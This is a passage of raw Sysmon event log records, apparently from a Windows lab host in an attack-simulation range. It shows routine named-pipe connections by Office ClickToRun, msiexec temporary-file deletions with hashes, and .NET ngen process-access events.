soft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 18141800x800000000000000042521Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:15.680{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042520Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:15.680{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042519Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:15.633{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042518Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:15.617{7BD73061-6E00-613B-E006-00000000F001}5992\FTA_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042517Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:15.555{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042516Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:15.555{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042515Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:15.555{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042514Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:15.555{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042513Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:15.555{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042512Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:15.555{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042511Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:15.555{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042510Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:15.555{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042509Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:15.555{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042508Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:15.555{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042507Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:15.555{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042506Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:15.555{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042505Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:15.555{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042504Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:15.555{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042503Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:15.555{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042502Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:15.555{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042501Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:15.555{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042500Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:15.555{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 23542300x800000000000000042499Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:15.523{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Installer\inprogressinstallinfo.ipiMD5=1C13AF0950780B5323F3A71E42879D18,SHA256=8C695DAB7EF1C35954585452BF6AA9031122CADF8B4E18B3FC6EBAE43D2CA6AF,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000042498Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:15.523{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Temp\~DFD0D3CF02C8F9E276.TMPMD5=BF619EAC0CDF3F68D496EA9344137E8B,SHA256=076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560,IMPHASH=00000000000000000000000000000000falsefalse - shredded file with pattern 0x00 23542300x800000000000000042497Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:15.508{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Temp\~DFB4AB066A629839D8.TMPMD5=1C13AF0950780B5323F3A71E42879D18,SHA256=8C695DAB7EF1C35954585452BF6AA9031122CADF8B4E18B3FC6EBAE43D2CA6AF,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000042496Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:15.508{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Temp\~DFA05124F0CE538FF7.TMPMD5=BF619EAC0CDF3F68D496EA9344137E8B,SHA256=076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560,IMPHASH=00000000000000000000000000000000falsefalse - shredded file with pattern 0x00 23542300x800000000000000042495Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:15.508{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Temp\~DF03F9E8E0F7D15A63.TMPMD5=1C13AF0950780B5323F3A71E42879D18,SHA256=8C695DAB7EF1C35954585452BF6AA9031122CADF8B4E18B3FC6EBAE43D2CA6AF,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000042494Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:15.508{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Temp\~DF59F480105DDA9551.TMPMD5=68C01386BB0F243BEA0094FC31A73754,SHA256=E58591F77D4635F898AB5B3C534E1A900221586C262B96B27988CBB54B2EB380,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000042493Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:15.492{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Config.Msi\22b139.rbsMD5=C4B404A595B1569DC4B3AA7B91FB6B1F,SHA256=B9DF68C19F8B78EE1A63C0B789831EB41689BD2C066AB0B619285DE6138839BD,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000042492Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:15.492{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Installer\MSI6467.tmpMD5=FCCDC45CA17E5180B40EFC28052BAC39,SHA256=4AB37B0F9C5FE3505E1ECFE0764AAA04838CF81F9E0A402425E057F7A251E621,IMPHASH=620AD7AB8901854C91622E052544AEE7truetrue 23542300x800000000000000042491Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:15.477{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Installer\MSI6466.tmpMD5=FCCDC45CA17E5180B40EFC28052BAC39,SHA256=4AB37B0F9C5FE3505E1ECFE0764AAA04838CF81F9E0A402425E057F7A251E621,IMPHASH=620AD7AB8901854C91622E052544AEE7truetrue 18141800x800000000000000042490Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:15.477{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042489Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:15.477{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042488Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:15.477{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042487Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:15.477{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042486Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:15.477{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042485Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:15.477{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 23542300x800000000000000042484Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:15.461{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Temp\~DFDDBDE906F262F979.TMPMD5=BF619EAC0CDF3F68D496EA9344137E8B,SHA256=076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560,IMPHASH=00000000000000000000000000000000falsefalse - shredded file with pattern 0x00 23542300x800000000000000042483Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:15.461{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Temp\~DFD5C5EBA53E1C8D7D.TMPMD5=126B8F3CA56004098233D4D459A3CE26,SHA256=1C1BCB3B0E08FD6B2900509302E9B4B28A472C5599633B34D18FEAC34CAD6DA0,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000042482Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:15.461{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Temp\~DF3305827D74C6CD70.TMPMD5=BF619EAC0CDF3F68D496EA9344137E8B,SHA256=076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560,IMPHASH=00000000000000000000000000000000falsefalse - shredded file with pattern 0x00 23542300x800000000000000042481Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:15.461{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Temp\~DF97AC953231646E16.TMPMD5=126B8F3CA56004098233D4D459A3CE26,SHA256=1C1BCB3B0E08FD6B2900509302E9B4B28A472C5599633B34D18FEAC34CAD6DA0,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000042480Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:15.461{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Installer\MSI61D5.tmpMD5=9EF2B6ADCE644032809F9779FCE52A56,SHA256=EE253C0EDEA4CD80ED3A15F88738FB14A9B68C297B95A7153D390760B464B81B,IMPHASH=00000000000000000000000000000000falsetrue 18141800x800000000000000042479Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:15.414{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042478Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:15.367{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042477Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:15.352{7BD73061-6E00-613B-E006-00000000F001}5992\FTA_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 23542300x800000000000000042476Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:15.336{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Config.Msi\22b139.rbsMD5=D41D8CD98F00B204E9800998ECF8427E,SHA256=E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000042475Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:15.320{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Temp\~DF9D7FF75F1A049564.TMPMD5=BF619EAC0CDF3F68D496EA9344137E8B,SHA256=076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560,IMPHASH=00000000000000000000000000000000falsefalse - shredded file with pattern 0x00 23542300x800000000000000042474Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:15.320{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Temp\~DF05A8BB983E20AA7F.TMPMD5=126B8F3CA56004098233D4D459A3CE26,SHA256=1C1BCB3B0E08FD6B2900509302E9B4B28A472C5599633B34D18FEAC34CAD6DA0,IMPHASH=00000000000000000000000000000000falsetrue 18141800x800000000000000042473Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:15.289{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042472Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:15.289{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042471Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:15.289{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042470Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:15.289{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042469Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:15.289{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042468Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:15.289{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042467Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:15.289{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042466Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:15.289{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042465Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:15.289{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 10341000x800000000000000042464Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:15.242{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F3F-613B-E508-00000000F001}6388C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042463Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:15.211{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F3F-613B-E508-00000000F001}6388C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000042462Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:15.211{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F3F-613B-E508-00000000F001}6388C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 18141800x800000000000000042461Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:15.211{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042460Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:15.211{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042459Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:15.211{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 11241100x800000000000000042458Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:15.180{7BD73061-6F3F-613B-E408-00000000F001}5152C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exeC:\Windows\assembly\NativeImages_v4.0.30319_32\Temp\1420-0\Microsoft.VisualStudio.Tools.Office.Runtime.Internal.dll2021-09-10 14:44:15.180 18141800x800000000000000042457Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:15.148{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 10341000x800000000000000042456Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:15.102{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F3F-613B-E408-00000000F001}5152C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 18141800x800000000000000042455Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:15.102{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 10341000x800000000000000042454Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:15.086{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F3F-613B-E408-00000000F001}5152C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000042453Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:15.086{7BD73061-6F29-613B-3408-00000000F001}55565184C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F3F-613B-E408-00000000F001}5152C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscors